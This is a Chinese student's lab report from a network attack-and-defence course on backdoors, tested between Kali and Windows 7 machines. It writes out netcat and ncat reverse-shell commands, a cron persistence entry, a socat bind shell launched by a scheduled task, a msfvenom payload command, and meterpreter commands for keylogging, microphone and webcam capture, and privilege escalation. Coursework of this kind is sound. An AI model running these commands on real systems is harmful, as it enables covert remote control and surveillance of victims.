2018-2019 20165208 网络对抗 Exp2 后门原理与实践
2018-2019 20165208 网络对抗 Exp2 后门原理与实践
实验内容
-
使用netcat获取主机操作Shell,cron启动 (0.5分)
-
使用socat获取主机操作Shell, 任务计划启动 (0.5分)
-
使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
-
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
-
可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
基础问题回答
1. 例举你能想到的一个后门进入到你系统中的可能方式?
从学习中我们可以得知,后门的可能存在情况包括:
- 编译器留后门
- 操作系统留后门
- 最常见的当然还是应用程序中留后门
- 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。
而日常生活中,我能想到的即在应用程序中留后门。譬如从网站下载程序时,一些未经过严格安全审查的软件压缩包中可能就包含我们所说的后门,利用复杂的命名隐藏在我们的主机中不被我们所发现。
2. 例举你知道的后门如何启动起来(win及linux)的方式?
- Windows下自我设定通过任务计划、开机自启动、修改注册表项等来启动后门程序
- 更改名字伪装成其他程序,一点击即启动
- Linux可以通过cron启动
3. Meterpreter有哪些给你映像深刻的功能?
就比如这次实验中的录音功能和记录键盘输入功能,在不知不觉间就窃取其他主机的信息。
4. 如何发现自己有系统有没有被安装后门?
- 依靠防火墙杀毒软件等。比如此次实验中的backdoor.exe在刚刚传到主机界面时就被防火墙所发现,迅速的清除了。
- 利用任务管理器检查是否有可疑程序运行。
常用后门工具练习
NC 或 netcat
1. ncat下载
课程主页附件中下载ncat.rar解压即可使用。
2. Windows获得Linux Shell
-
在Windows下使用
ipconfig
查看本机IP
-
ncat.exe -l -p 5208
使用ncat.exe程序打开监听
-
在kali中反弹连接Windows,
nc 172.20.10.2 5208 -e /bin/sh
,使用-e选项为执行shell程序
-
Windows成功获得kali的shell
3. Linux获得Windows Shell
-
在kali中使用ifconfig查看IP
-
打开监听
nc -l -p 5208
-
在Windows中反弹连接kali,
ncat.exe -e cmd.exe 192.168.159.130 5208
-
kali成功获得Windows的命令提示,注意此处不同于Linux中的命令行显示文件操作为
dir
4. 使用nc传输数据
-
Windows下监听5208端口,ncat.exe -l 5208
-
kali反弹连接到Windows的5208端口,nc 172.20.10.2 5208
-
连接建立成功,双方可以相互传输数据
Meterpreter
- 后门就是一个程序。
- 传统的理解是:有人编写一个后门程序,大家拿来用。
- 后来有人编写一个平台能生成后门程序。这个平台把后门的
- 基本功能(基本的连接、执行指令)
- 扩展功能(如搜集用户信息、安装服务等功能)
- 编码模式
- 运行平台
- 运行参数
- 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
- 典型的平台就包括有:
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
参数说明
- -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
- -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
- -e 使用的编码器,用于对shellcode变形,为了免杀。
- -i 编码器的迭代次数。如上即使用该编码器编码5次。
- -b badchar是payload中需要去除的字符。
- LHOST 是反弹回连的IP
- LPORT 是回连的端口
- -f 生成文件的类型
>
输出到哪个文件
实践过程记录
1. 使用netcat获取主机操作Shell,cron启动
-
在Windows系统下,监听5208端口
-
在Kali环境下,用crontab -e指令编辑一条定时任务,(crontab指令增加一条定时任务,"-e"表示编辑)选择编辑器时选择3(第一次会提示选择编辑器,以后就不会提示了);
-
在最后一行添加45 * * * * /bin/netcat 172.20.10.2 5208 -e /bin/sh,意思是在每个小时的第45分钟反向连接Windows主机的5208端口。设置成45的原因是我当时的时间是11点43,为了能恰好看到效果,所以我将时间设置成了43;
-
操作成功,效果如图
2. 使用socat获取主机操作Shell, 任务计划启动
-
下载解压socat,无需安装。
-
搜索打开“计算机管理”,在“任务计划程序”中“创建任务”,填写任务名,新建一个触发器,选择工作站锁定时,即主机锁定时启动。
-
在操作->程序或脚本中选择socat.exe文件的路径,在添加参数一栏填写
tcp-listen:5208 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口5208,同时把cmd.exe的stderr重定向到stdout上。
-
创建完成之后,按
Windows+L
快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行
-
在Kali环境下输入指令socat - tcp:172.20.10.2:5208,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5208端口,此时可以发现已经成功获得shell权限。
3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 此后的实验由于本机win7系统杀软会影响实验效果,改为用win7的虚拟机进行,故win7的ip地址发生了改变
- 在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.159.130 LPORT=5208 -f exe > 20165208_backdoor.exe
,注意这里的IP地址为控制端IP,即LinuxIP,可见已经生成了后门程序“20165208_backdoor.exe”
- 在Windows下执行
ncat.exe -lv 5208 > 20165208_backdoor.exe
指令,通过-lv选项看到当前的连接状态
- 在Linux中执行
nc 192.168.159.133 5208 < 20165208_backdoor.exe
,注意这里的IP为被控主机IP,即Win7 IP
- 传送接收文件成功,如下图所示(注意文件大小,可能出现0字节文件,即文件未顺利传送)
- 在Kali上使用msfconsole指令进入msf控制台,这时候我们能看到图案
- 输入
use exploit/multi/handler
使用监听模块,设置payload set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payloadset LHOST 192.168.159.130
,这里用的是LinuxIP,和生成后门程序时指定的IP相同set LPORT 5208
,同样要使用相同的端口
- 设置完成后,执行监听
- 运行Windows下的后门程序
- 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用record_mic指令可以截获一段音频,可以用-d选项设置录制时间
- 使用webcam_snap指令可以使用摄像头进行拍照
- 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
- 使用screenshot指令可以进行截屏,效果如下
- 先使用getuid指令查看当前用户,使用getsystem指令进行提权
实验中遇到的问题及解决方法
- 在使用socat获取主机操作Shell, 任务计划启动时,锁定主机再启动后会出现下图所示的问题
解决方法:选择“条件”选项卡,将限制交流电启动取消掉即可。
顺利解决了问题,实验效果如下
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell时,在传backdoor.exe时,由于没关防火墙,被自动删了,但由于还能在文件中看到该图标,就选择了接续进行操作,未注意看程序字节已为0,导致后面的操作出现了问题。
解决方法:关闭360、防火墙等,或选择使用虚拟机关闭防火墙,这里我选择了第二种,并在确定了backdoor.exe可正常运行后再进行后续的操作。
实验总结与体会
本次实验我按照教程相对来说比较顺利的完成了,中间也遇到一些教程预期所没有的问题,也通过上网查找资料得到了解决。感觉这节课的实验都很有意思,也让我对后门有了更深的认识,小小的一个backdoor.exe真的能完成好多事,MSF meterpreter的操作也让我深刻认识到了后门的便捷与危害。还是很喜欢这门课的实验,之后我也会尝试做更多尝试,争取能在限制条件更少的情况下实现今天的功能。![]